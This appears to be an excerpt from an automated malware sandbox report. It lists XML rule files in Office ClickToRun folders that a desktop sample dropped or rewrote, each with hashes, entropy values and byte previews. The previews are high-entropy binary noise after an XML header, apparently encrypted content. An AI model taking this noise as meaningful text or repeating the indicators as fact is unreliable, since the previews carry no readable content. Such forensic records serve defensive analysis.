Preview:	<?xml.L.t..&.....P.}}.!..........m[R..Ps....1.o..%'E.U=.E.u..n..R..M...,bg2...Xawa.....Y..yN...N..<I..../OC.p{.........Y3.R..]...W.....w..R..V..`...N..N.-"w?.jT..2.....i.inS...sAi0N..c..........p.$...'.S%..X.k..#..........% .c..A..J.Z!zD..`..L..M..4..{.'GD.@...d7.Y`@)....dK...x..m...7.a.0.N...._..6...p&.L`.FcB.ofq..Q.....@...:...F.Ps.(...E.3.!.i.{../%....y...%~......W........\&........Vs..%.......:..=.G....i...?..............n.....D...c....q'....{=.........).'.(Q._.N.U.=cW;.~^.J...._.s.#1.....K..?..kW...">NZ/...g..[Z..i.p...c..x....../<U...@.@<m.zG......<.k...'.\|...;n5.y..+.dl...t.a.%./.aKi...p..U.e.}f.p.2,..O.K..p.!".\.F.u../p}Lt{...w.)Y$e.'G...........-..oQ.QnS8<........]W$..]...........R....\.k1..+n....zUOl.R...\|'....{.......JS.%.S.u_t._W1..F.....x}..m..Y..e.bSA.....o5.w..c.A.....{....4 .....m....y/....O.*...{....q.Ib.....C...F.y...1..vb1.....t..6..0..?.....T .........#..K......Be.#..3y.$5.m."...m...../!.....y.W.f3...{.....3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.869765926926437
Encrypted:	false
SSDEEP:	48:asbXkFv/PnCo6DYE0/+6S91VtQQ8R9F2nXFNgD:aCXkFv/96kx/DSjwhRWXFe
MD5:	87E9079DE7656894C1D2349F996EC4A9
SHA1:	F9F92D7043C5151E61171C3BC1AE930C977741EE
SHA-256:	F783B7F509ABC9A9F1C2C9EC94EEA3C507033F88BA7B7944202CFC8BE8DDD96A
SHA-512:	0CAFEED857B7A10E201514071FB9485166C2C57E6DF3D890759063E46E769C27AF9AA7DE76A4171A865DEA62884111822064F92729B4112B718AD675A9424624
Malicious:	false
Preview:	<?xmlFTJ...97:x...~.s.V>.E!..b...._.!P.H...@..(..%o<...-....47.[.gn;LM)K4W.~.3;cTtMWn......m......8...C( .l<.X.g.....Q.B.d[.;8..).a.YU......~.e..[H.V.k. .i.U...t.E........s.?...j.3S...O.~.......4....".T......#P6...._..O....xI....`.9....W..h..g.......bg.".S.XvM......n.K$w.a...:B..=.0J\|....a..s.i....9..4.G...TE.y.%.DS.N_..W...D9j.s%I.JT.}...;(qJ..W...K.K.....).<.r.....sF.6......7...b....B....^J..!....-9.,.tp`.Y.Lob^.E`eVY..M.K.[.\|.........]....,.T.{..i..."(.......(E....j....7.N........jn\."Zo'.)S.Q.C.ot..1....:..'.....&.....K!Z.O..&.qu..K.9....n.._.T..d...2'._.:...t..G.....Y.ZZ31.(.$.[,QL....I. !..{P.Fk....q...u=.....u..t..@..9,....WR.U...x.....1..!x.{.T4.M...\|..Fu..S...J......3b._".?.........`3..[...x..z........@.U/..v.?..G....gP..A........2.Hn.....g.4......./......f..._...^....yoA....e.L.3r.j.L\.....?...w...=..z...B..pN.(.EXi.>..S..x.....)G$..DC........KF..."X.._..I....s.[.......K.$U>.S.W....G.I......X..I!......K..*../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.88350452927999
Encrypted:	false
SSDEEP:	48:kCyRuw4/Ibo+jaxVhGT/r5in+nWpkUCqIswP0D:5m4/6tjaxutvWGP1Jg
MD5:	8439D955690CC19459362C71FF5925DA
SHA1:	C58EBE27E1B95DD4B7D841BED3C5769E70B84C85
SHA-256:	9834DFC78D45EDFEFE818F47FC9B3226E79DB6DF559C2842EE7DD3A283032415
SHA-512:	E958C3AF8B39146E17BE8C66152FC4D6F1BE04472537A83A9D53D45DDB6994BA523CD2DC449839A55F5872AA9D55CD5210EE99B1AD51BA8ED1C2D0C478FC74BC
Malicious:	false
Preview:	<?xml.l...}.. .LzV:.e...AN.m.H...Z.[....U....~.F.V..F9.0f.-.(.A...U$...\....Gp+ay.4qJ5....u.. T..7/r..[G....M....R[.OnJ.........@.....@O..."d.K....6.O...T....u.C21.!.S...=...}...K..UB.?.'..h..,.....#..dnO...s..Q.....{...~W...".j..5;$ .O:.96....+.$.W.....a.71.cG.4...V.0uG..bWk..pG..s....J: .q@^...........5......vX./Y!...K..6..o....Y3.\....;m.=..".._}.Erc.....A..z...........#:.k#<T.@P)..m........Y.,.8.@h?E.8Z.......n.J.2.c6..txYz....'....._.jV.~..d...o.../.o........x........YG..i....SN4..o.?N.a[......-66..2lX\.Dn6..fX~...i$J$.........nZA?.(0...9`.;.@..U.........(<.<..mvB..y$D.0.$s.BO-..%..Hs..3.IV...M..@..b..l..Z3.{n...z.Q.....<..y.-..eq.U........5(.b..5T.`.H...P.9.......wD....X.......=..d#....3.SQ....$.%Q..s.7..T...1.=...MI..N<.y....zSZ..Y..a.7......;.....N..C4.O...RB.#.........K..DXd.r......ow.u....$.....rn...".j....G.k......9GN./........x....O.B..`oft4*~.....v...TQ.........7...........P..vfK......N.:W..S........'.p...-.....{...F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.880919709280868
Encrypted:	false
SSDEEP:	24:mZBJmwTG904b3qE0oADaW3hKEId/BTRJmbuyGYKI2ZbYVm8O6WO58L12orwbD:mZBJm7PA9WWRKE+/ju8YIYkBOCDeD
MD5:	9B805A67FB8693761465B15C184E4890
SHA1:	BEADCC4685A70AE54AF65BF934A3FBB8F779E6C1
SHA-256:	59C62F403F7F537E59E1EA7EDACF2DEA150239A90A97872C40801871BBED89D7
SHA-512:	910F078DD2ADC2F3400DDB10136BEA598A0E82DE1AB00A28E07CB2BF589CB6BCBEF28CD194A35ADCF910D46ACC1563804277B43B915029032036B5EBA740A873
Malicious:	false
Preview:	<?xml..H....r-..60.5...F..i.1...`...g6.'-..hl&9...Q\|.o...0..,.....n.J-.....6L.kq\| .#.7. .V...%.g_8^>..TD3r+...._g.K...)=..-L77.._{K.&..^. ..../.b.RS]..QNZ:.[..W..O..v.v......F...G.E..n.s.NSXZ.u;..+....t.. ....`./........B{...DJ.G.j..98%...]...o2j1...j.%..K...h.....icIY\|..x....u..x....N.6S0......y.}8rLI..J..LSzHc.;Vx#..[..3F...G=.?...>.....c..+2..-.@....X..aF.....F\h)H[.'.PM2.xI..y.@.j.\....[.&..l..F.....s.....7~..Y]K,.=..#..qc']... '..m...~.........{.u....Jc..X#.c._....J....AA....go..1X....<l...,=.$*&..qE>..z.>M.`Yx...]vt/O....7@....V.s....C..J.X.9...K.N..KC...M.. .s...,..&....p.9"..d..!...o..$....t.O......i.gm4`.]3...U.U.W...X....8.9.,..:.N.....`..d..Z..@{..<a..LJm...h....l..x.M......x...Tv..[......c.^.....z+.lX..f..x..J...4+.A.j...u....e9.j....EA...fr....F.Ut.;..S....YDW&...w]-~.`.t.wlfO.H5.....-)Sg.i\..Z........"W..........,...W....3..\|.."...)..U....#....;..3..P.Nc...Q...?Y....,...:.Po.........X<.S..U.).X..a....(.............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.879510357244215
Encrypted:	false
SSDEEP:	24:dn5in7S8VgPTWuNrL/PUcr/MDHBToxVGC50bw5a7bD:dn5iGogP91wcr/mBToxF5a/D
MD5:	2997FEAD117EA3CAC8D34B99A3C28DC9
SHA1:	4D72E054AFFB54FD18DE253FAEE3F3BF68E820F7
SHA-256:	8D9E1008548FDF065EFF845C8351602935440885A1E10A4A9E5DC0CC0D97A572
SHA-512:	19D8952BFB0A5226D9B0C4275C175073EFB0571D9239ECA3D6C56069E3970D128202E062D539BCF15F13FDCFEBD8B77E6684BE4FCA35F84E1E705443D9E83D92
Malicious:	false
Preview:	<?xml.. ...XIlUF...L..U...;...+t.....~..>.k.s..........F....j.JN..8.]Kc.?.>.(.Wq.......5.../.A....#.c..?g{......m6./!za..q...jg./..de.1;$>....h...q/.C........".p......=8..m1..~...HE...O.......=L.\|A.[.4k..O/.>.O.).)...iEA0.a_^.......{.x/.y1..........>..k.W....s.o....A<bl..{.....,k...t..2..'.......{M.c...q7..^..L..........+.!9~)......^..q.;.3y..(<.........0.oj....SP.].....S)/....!9o...@./..".?(.!.0<.U..iC.P...a.../^...u"...}.f..<.A.1....P...S:....0+..3.nb$.c.5tO..0...,..7.M........q..........G9.d.T..Y....du.[h..T....C+.K.......Q..!....J?K.5...X.M.f...&+.o..M.d"..(...>."...q<..U.n!+..B.J.@.....F....S..a.X.^.....3........M....K.%<.r...$z..'.T.G..G7......G...`.,....d.~.c........-\|.-...U......[.3.....8S.Z.....\<C/Cr.&.".."...M)4........<s.+......p.'.<.;..m./.&..L".E.h.._SX.J...y.v........pL.3..L..?..8k....'.... ..S...c].}.?.2..]g:Y......Y.{......*.r.....;d...w..<W..>./.j....'G......I....x+8......x..%...&V.}.b........d.........V...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.885401440320424
Encrypted:	false
SSDEEP:	48:ANp9tD/0IyRaB8Ah6eGzM0UZ5EXZ93WzvwD:ANpHLgg6fMhCXWzvs
MD5:	3FEC57DE3DE85DE1324FCF2C5FAE5AAD
SHA1:	8979D9B279343DD5EC37B4AC796BFCBCAF8731AF
SHA-256:	30078860FEDEC3C38673254B8842653EBC61E612150D110013B62DA8F243E572
SHA-512:	E64A4F66DA2457028C43FD8C6EDBE968375E47CD3A9C607028D2D2D72D9373D7D9841BEBC6BEF5F091E246A4DED9E4D446A815498D029E277E5ACE7CB96C2551
Malicious:	false
Preview:	<?xml..8O..B....n.ZLU...^..d..E..9V.#...V.s....0..h..R.9..X.uh.6...3.+W.3YN.b/.....e...yY...,.9)..].0ZL9@.....BP...".{6...(...3..'...7...+...........Ps!..}....O.8+.IQ...`.i..b5.....W.r_../yT.=....^5.lH..^a..:..)..X'.. #..".FN'......Z..;....Y.......P..\...@<..:09.d...mVU.4.G.f...8..v7..).0.4..!e+. ......9+\......@....l...~.)..2.K.C.}..ZQz.e..2....;...c9.Gh..\..!......].......>......+..D.c......A..}....E.8..".h>Ql.$.#$..%..y.......^.6...0...5...F.......(.sT.V.7rX..P...).H..?`1..?O.f!.W....a1.....M#.7.....Su..."ADW.:.._..8..Pw..b{.......l........9....T.@q.o..r.AtIh...h.6@..B`^./.t...........%h[.Y.. .B\|.P.a..cw0$.2'...d\|)..G...(...<<.&'4u...\....V2_.-....{...p...e.e?.=r....\H....G.R..%WN.4n.....,..*.T.?..%.a59.w...}.m!X.p...~^,Fw...5..8...`.K5...z.....1...7.V...i.~\.f4..5...u....i).4.QS..=.H..58.g_qAs..lP..)....?.....\){....s.....Sdk3.#.y....Ph._.......D.g.R.Qo.I.@8...3...8...4c;_[0.Q.%5.u..s....F....g.....F.X2....d...u.W.~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.877628344167032
Encrypted:	false
SSDEEP:	24:4xUmqFTmZg5XxXQLrsdlHteI/QHAUAxvc+OHG6qSMfapt0iUOlYrPQbD:nmqgZglhoeoA5c+iqS0aptdRl+KD
MD5:	6832D187B42DBD22B494FB3A8986C5B1
SHA1:	E273D27B9F3EAF5648FA99D34FA8BC7A3F5BE7E6
SHA-256:	E794FA310002F9A3C3C85A84A3CC23A4493FD3932B71DD62CD8BC83527CB31EF
SHA-512:	5A010C8EA9C364268AAD76E13C3487EB15266271773D85F4DF4A480E54D9DA9D696AC23887399DDEE153343DC27302909D6F01F39A4E3532C45FA8E42A34FD81
Malicious:	false
Preview:	<?xmlESc.2U........k.K5..O...6i..(...2^h.h.~.LW...fL..m..78..R......s.t.:<D.K!.....4m.>...M2.RU.N.T..7.R.N..^U. ....../GsJ.=7...s.T.......sZ..M.Icc1...&.n\|6I.O.y.-.9cD../...'a&..5@..l.d4........@.+..`>.i.>.c.9.....CY..n7..e#.......[1...Z...h...4...oFs.t.]...F..j..p........koX..&LZb'.9I.Y.N..;Y..1..K..B....=hj@......^.......\|.-..Q9.o.Q.k%W..\|9C.l..@.]"....~.O....'.,.r. .oh.9s..Q...(<.`..F..+.:.tfm..e..g....q0...m.N....a.&A.;.}.M.U".C7..t.P........Nc.....a..\|...LGQ....w.P......!.kKEfO4e...IR ...8#.e.....o...*2.%z).\...Zq..D.>.{..~..wP.8..{........N...Tm.n ....X..I...#5..\.A.^........K.....=5U.I. ..P..a..a.v.(..k........0.g.7.':.T.%{....%-..0.......HF.N..}....AQlJt..+.!....S...o._....kz.....G....D.k..1.1#L.<.&...4....4.K.%....2.6.]..y.Rz...e.@J.O..$..1..d...uY[._.y:[......P...Mc.L.1.........}.0.3..2@l..\|m5.....m...U........^...}.............PXWG.B\.z.zG..-7........{R. .+@Up...F........T`.{..X..:.....$y.we..Y@2.4.[.\|...b2N......+XyB}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.889394311291571
Encrypted:	false
SSDEEP:	48:/JuaCiLIj0igzGbUDQeXg1wGbGS6+V4zxYqy9TFoNBLD:/7lE0NabUTw1wSVYY7boNBn
MD5:	41DAAB21AA13029B9B35A81CB94DB454
SHA1:	120D2A118E54D287E0ADD9501B5EA677AB2E6C4A
SHA-256:	7F390F8981CBECB3D60329D48D55F68D8942C5D68BF206A0A7BBE428CA346355
SHA-512:	6FE197F516D4245922E8F5970DE2166E66E240A44093E26592AE41178C9271644F78508C0C4E68CEAC40EA4840D914BEA54D835296FB471DDB393008B247AFA1
Malicious:	false
Preview:	<?xml.g~...y..IR.~#.zE..1{!i.-..n.._7..W.q.-..k+...`.5.y%.%7..ue....Z.r..,.0.['......7.;...8\......S..1..S].....P......L.]. .9.i....e.r.q...../,l..Pu..Q}...d..J......g.v."v"9.a]....N.b.I.M.o.4.}R.k.b.......z....`.i.A...:...\|.....Zm6O.e1wRr.'=6......D.&9...>.u j......o....2.vJ\|&..t..m.h..............=.....nV.r.P$.C.W...y..h.^.V.x./%.w~.m.Q.P..v...6r.p..3&F..8...:)..D.'...;....T..[...yn..+.(.!.}.i2#..[....J ..f[.~S..>.JI.(..\.`82...%b...M..g4....Xk....;...0...K..".i...<W....-....F.{.....X._.#I...`...TQZ.v.nC..'..\|:.}A9.jI......._.?C.....1s6... .......;.....B....&...%./tr9.z.......\(.?&..-.....I!...1t..(.k/..........\|...h.#....x.Q.o...YR...W_...I..p...I..w....u......&X..q!0.U%........J..oM..K.c.z.X..a...\N..\|7...B.....>V....q5..%V9.5...r.e[.(....$":.6........R.B..R..\|.d.x..~.~d....T.U.z$..9.^....s?7L.}$<.k>.x.*.f.'..../r........p..$..n.-T..d.#.IC3.4%eG..B..<.!/...,@F .%<.:......B...b....k..^.)...^j.n...j.....9........d.H~...{.] T.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.872272401350923
Encrypted:	false
SSDEEP:	24:6DTU6GzRmbEIcr1kWqeMnQLe3UDPPQD5plAH8ufIgBGCZtaqQYCFQ0wf6wVNtHtU:aTxGzRK2heEe205plkjPGCDCONAQjwrD
MD5:	F75CCFD4B4FBC1D7C53543E3114E9F36
SHA1:	0FEB7BE941FB0D6A19A177ABCA0AD2814FEA82DA
SHA-256:	B3BE388A797892B1C8AA08840B9909078F6B837FCB58CD9444EF133644D9E6F3
SHA-512:	B3C28108B6C314FFC5397B238F3ECC4D9A03987D59720B86FC7F4DC63210A12ACB4A66877124C28251D0042CB3845DF4C55B003BB92D58EEFE7E5FAE8BBA61B1
Malicious:	false
Preview:	.<?3...G....n.'^..~4Y.........S.....:.....n.&.hTq...w6....$`..,.h;b.v.....`.6+-i4..z&...ki...1hF)4..5.k...Wc.WpC..iJM...g.x...P.O.....K.4VM. r#._6P.S..f.A..>U....y....V..}.lB..y.I.q..G..4.W.....6!6i..nh.Y....._.2...cu>.}.g.....U4...........YYL2\./(...}.N...p.s.[.....i...-..Z.....WG......&.(.wZ..]...W...SE;p.k;.D~e[..!.9.R..B6......(.=...$\..9..r......q.W.$..;.'.lI.\|hy._...%.T..&......."t.....^v_.....Z.V:....s.Zk-[......~c...'..A...C.j.t...%.p..{.W..D.........Wi{.6.1pJ..>.N..QU?...K%.....Y@y......{..D...%..].2...y...05....wM.@.L.u.a.T.Q%...4..w.u.....t9/...:@.m..H.....F..+....UA....{.4D...7W....(..E....a<....rGS..S.}...........".;.1}Dr?...PJ.G..m.}..[>._.@...._.:.......4=`...F..LL....J.a"..S.g8.L@....I_$Q.. ..B.........N..)i......ds.Kr.....\.E.K.w.b.c.A...v..j...v..&..z.D"'..g./...y@.W.K.n..K...w.%...E.T.....9..JZ...C..2~..c.Nb..TM....~t._.\..V.(....{....]......O.*.#Bk..`...A$..:...ZH.p.....y.......4H ..S...J._.b...D.+..:{.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.897302704410771
Encrypted:	false
SSDEEP:	48:cvBtOuEyZWH8/8mAiUw3xD4Sj/6Cl2WNP2JBHDn5wD:sBIiZWc8iH3ODCNxmDW
MD5:	9B887848411F934B5DF778076735D275
SHA1:	56A203D054B939BB780C2EB2F92825BE7918046A
SHA-256:	FFB28C1369CC2A1CDBF143F9C72D564FDD8E156D83CF8E083D253A846860A91C
SHA-512:	81B0C25103D155CDFF72B4D4F53ADC1FA41430EDEC7EA0CB151E4ED73A63E002D8D4F97A7BA06A959529C1DFA2C92154BFC4B448A8958E044C1160BF1671D687
Malicious:	false
Preview:	.<?..F6....J_I/...T...gtH..].<.uu$...m.....%x&....!.i..<..rl....R..-0..."@.......6J.%..!.L8!.&.r~..)C.tab.....Q.c......%..zzSev.Q...q}....&.....d.....C.... p.Z..Z..IdX....i^.;.\|A...q......F.P.]`.t.a.Y.6...wP.:....N.2..\m&.T..c..Usv.Pf....;...HY.Y..9L.#...Gq#%...n.Be...I....(O.P,~..d.5&....s.p.y..W.......+.N...Vs.....Z.<....../..7..$..i!....F..B..l...~...f<..\.....Z.P..y....."QE.......x..R....=.o..y~...z..>.\|......l..8..U....H..S...p\|.Y:....hHg'"..7? ....U..._.F.,...6.9.,\J..S.l.g........nU...`.@..._....p.eg2..L..M..u.DY..3j_.....].j......9.f..u)........L..%6.#igz....I).uhR.=....2. ..e....p..lEe\rV.I..........\|'.....M-.....pJ....6.[EX..h...w...U.50.e....p..@............/.9B..}c...E...Q8....>.....V.........8.:r.P.p.R%W".Po...........UoQ(?."...h..+.....u.H.Z5$...b...9..........:..F.....#g.....Y.u.5h...,`(..#..m...;.9...q..l....."..(,._"..A .;A#.D.eev.U..7.....3....I.R...[.......R%.S).\|..~..3O..p\|.....(...A...t......s[.[ .....M.f.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.881562394744831
Encrypted:	false
SSDEEP:	48:gBkAy5JCYFQzvPhVNA361lCd/+sqBlZsDD:gBJy5o4QLPzGK1lCd/zf
MD5:	A69708325940F51B91910A75F491C7F8
SHA1:	1A8D6D8ECB24F76961359BF9E2FCB097C3FE7FC9
SHA-256:	75539B3A7B286D324CAB7ACD86A142DF34099859918569170BEA525446D915EA
SHA-512:	6E94C5857B4937784C0BB391C4E29BB23F7968D50E9C43F12F10CDD66B8E90E5249715AB22AFE56CAE1E6BF06AA2AD600ECE2B0F8BD9B3B9043C8A12F73A4758
Malicious:	false
Preview:	.<?.\.......;..^....W.........b.f...X.=t.........Z.EE....k...\.Y..$.,...J. "....g.)....W.}.?........k}...w.`?+..5.'F......\|..O.U....{0.0........E.]..C!...(}..6.\|..WnI.cZ..%fs.c.@.+..}..:.5...j.dQ.q...~_4...e.R#.p`......I;[...p/h.S....A.b.wrNSTi..X..#...i..l.....X..b.2A......Mfn+..A.....R#c.-p.I..0..x..Y.t.8..#...n......((.A.vD/p/\|..Yf..;....(..P#.Rxt..-mgx.w....N.W....i..>..4.........3.<.,...#..U.3....5....W3k..-b._/...\.Za..j..i...Q-;..v`....a.r.\r...p.2AKG......_.z$.76z....8......2K.....G....G..........B\eL...uM........a.X.X.......P...Y...I;..~.{...m8.YB..:T-A&....A..w...\...1.$..M&.<5..8.J...+X7=.z. c..}r..>........BM......o..".I.VnV5.F.TdV.W...JVO..4F.Q..S.o....a5+:..M.F....o..<\~,$~...<6..!f ...L[.#\...d~...c.}..5....2#..Tx....Y.G..>..._.-.dYk)F.....yB....L.V.."{.......{_n.C....ZS>.P..8j...@....6<...6\|Rg...Pb...?...l.....^a...W1I..I4..#.......{..`...l..)Nr.Z'.6G.h`..J.F?+.....v...^W.L..GdP...K......9..`X#..;]...a..q..~.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.879959132336061
Encrypted:	false
SSDEEP:	48:+cB9pGWmsVwyhX9+D90Vu5vcHRhksko7Ns+v8VD:+owVjzqVuuHRKsf71Y
MD5:	41390898FC3B59EAA02F07DB3CE030BB
SHA1:	B733667E188D1ED6F4C3621FB8D990632E9ED07F
SHA-256:	6C2B9AF00BD08D38C43D4821BB941D85B5B05EFC0FC1A7EFC5D260B4B6A75D82
SHA-512:	E14EE92836AD92003470976EC62F1E8E1D05ED3AA7F291810AC0C982EFA16FC5D25A909B3A022870E831C61AAFC08CD6EC74D7D13FE12AA7D171630CE7E86F25
Malicious:	false
Preview:	.<?f.5$7..........@.....)\|.c.o.v.\....x....>7.."5. 8..Twl... j..S...nR=.[.?...,..K$.5...Ix.u.T%_.j.u.U....=...C.m$...w..P+C......v.\.........,<#.......V{l.......;.[{......'..1......w%.Y.. ...o.B.P......#Y....t.o....>.p...!y...X.5..Lm<%u.....<?.....G..... ...!>...?....t.....jq...A".p...!.=......8D.WJ...:0....Ge..@VG..\!.R..y.mZ.<..;.....H.$w......m.E...L.../<...{.)..^#.Bp..a..=..".......pVE%,9+.@.Q....<d._.W.....R..e.R.]..._A(..sVt.8.<....w..&E.'..q.w.....HQ....&p...{..b./.&..I2.(H...q.!..Kd...b.2o..YRo...).j.rw....v[.=...E...N............M...H....'..oV....L}b/...f..5.....}.)LT.....%../.F;-.Q....,"#@.L.N...y...,.~.7.N..I...O......M[...na..n..T...3~q..U...q...Y.t^y.@;U.3.`g.......Zr$-....C^Y..'.8o.@.=..m.."...~..=.QA..Kg...~...Z.....T......F8.Dj.1Y,M...n1}...]..jp..p..>.!...:.~.<..6...i.L.}.V..6..]...:.i9......Eo....,..[[.-....S#.9T..K...i.n....C.......5...M.....pg..%.b...rS.c...G.tTP..y_.=./+.&.%.7e..Z.....l~.....o..N]v..H:....b>)...Xg.A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.906877704649033
Encrypted:	false
SSDEEP:	48:xDqdlLj5HyQaU6WRbwsO0FCdHlFWzMp6dci8D:xDqTzP6WR1O0FKlF76dR4
MD5:	D9338F8BA298A5338A756CE4EB1119E2
SHA1:	E8F15EBC5D7AB4814CF54688F987ACB219067760
SHA-256:	17102002F23665AD51681C02679A44B5D1D25850936CD22EBA0E12B49FD03F31
SHA-512:	BA8EE81257610BFF1AA2318F968BDA7FF60F8846BB57D8C2C82F6DE17D8198643CDD0CAFEDECE9900CF38B07AB6E84C5B410329CE9F57D1BB51807BAC4D96745
Malicious:	false
Preview:	.<?8m.J..g%....F...._.s.D.....d_....5..?c..\.^.+...O..0+....i..m.W..C....uu.-%..g..G.a...`...d'....(VKc......F.......Z>..1.../>%..^..P.9........u...a.<-r..T.u@.,.y.h..h...^...7-...h_.#&.l....Q.x........j<.nK.N....+.j..^..1.;iyCJ.(.I..)..2..U...Y[.I..3...v........ni.s.Q.y.dic...E..M-.V.I.Fm$\...\|......].%...h..M......V.L........2`.X.M.(T.f.... ..."......eC..%.3M.k.,.....,..N....aK......q..I..........Z.W;.KVD....LW.P.q.J..ys..B...v...m%.`.a..}$A.o....\|.$Pn...o...Hsv.......ZN(R........p6S....._>3..H..Y....A..AL....D.TA.L....!.<"7.].z..I.B....\|5e>:...3.......C.vO.5......t..c/.Tf....U.(.N..@......."].N..w.W.....f..%...^ o.\~fM...."H...o...............T;.ez...-...S.M\|.( &.\.go....V....=..v.z(.{U..z.p7.._X.i..zzuK.&...!....ub.J.9Xf.....2jy..k7...[.kV....m..h<u.....M.X.....U....'?.....PC.eg.$N.s......w....9iw.:........9.....J..g......qF..U..#..>.......P...A.'.......!.9.."!0&.[.aWG..H@..........v?..r...*....\D.....q..........O. .....`..;....A=e.o.W^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.8748359011079305
Encrypted:	false
SSDEEP:	48:oGBl5IvGoXs91Fw5eAm9tfuK/F7Y1mDaI9D:oGBln7NseAWYwFHDb
MD5:	D057C62B283D8FAD5080893D0FB82160
SHA1:	2F03959D52CD4E2757A9B2CDE952589488AD4F56
SHA-256:	4BB4F5A7E6D5BF267A7328CA97201E4E9F2A66878653D345B4FBE27CFD2B4C48
SHA-512:	D47BCA61CC9A0253ED89F9D6D4CA0FE5CC2DFAA811085199774398951C268D0A04ECDA6C9023C0D928784CCC355EA3C0E13A59013CED3B331E0F220AE91A3E1A
Malicious:	false
Preview:	.<?.k...#.R.-...E..W...T.3h.MGD..O1.. F.........[.\|....l............Hb>H..U..E..In..]....$."....b.9.i.2.K.. Dvh.'.....[u..TW.pF.M.r....Uh..8bC..I......<..D.r....T...3A:.7\|...n#._......A....P.U...]..D..^.@b..0hQ...D.O.kg^...w...g.G..o6...i..i...l..PC.v.".4.r..iz.U.H.w+.J....\......X(..M.I...w.~K'...;o.0.n@c.Yo..y.#UHL,[%...~X..u.!....h.mT.z...=&..t..2ev...{..2..............[.D...@.P.....~. .[..0Q.I......,3.%.z...[... .m..3..T.m.2..+.d.+.qC.;.....X.".a7.UC`?.@..$..>h.E......C..l...1.,.C.3._.23....>.p..[...[R.....N% .a.=.z.%...WAO9l5.2\....j..O].eY..1..U.P#R.s.u,..b#;#..Y....W....s..\|.b.8.l..^:o.ZoYl.....cG3#. "~.f-...U..a..O.?..A\.Q.v[.p.5(I.Ie.......XiD..z..$K1+...8.a.3.........>.........,.{_.8...H...PBVm..O.. @.G.......O.V.t.3.&...(".I...:...o.c..x..!.\.o].....y.mC..W..4.I5............~..s....U.......6ei...Lk....d.[.....8'.k....b..O.<.uV..N.p.<...l.<.J....BO.`.7..@-......x..M..cr..{$....n. .GG....;.....R.m.....7vH..F]..CG-FW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.871283441791514
Encrypted:	false
SSDEEP:	24:++17IyjC4xCwGpg6o8+EUl9wukm6slYUdvV76ioKql/0WNAubYXevwSoJRo161kn:+Ku4xCwGpWr6m19V7aH9+Wig7zDD
MD5:	90E26F2365842F24EDC349407D1D0A10
SHA1:	2AC38D3CEDEAFFCC8BE98FBA730D5E67CDA64456
SHA-256:	9614FC8F4283A576B5AD98A6257C0625AE757E1CFD4239888CD73812C84613C2
SHA-512:	92D97E580CE6B7CD4BDA534C1E8E843FD172CEE17CA9D0511DBD094135E0E4737C2D6F50B9C5F6109683B51339BC53E1C60A3D4999ED76A8F9378145D5170235
Malicious:	false
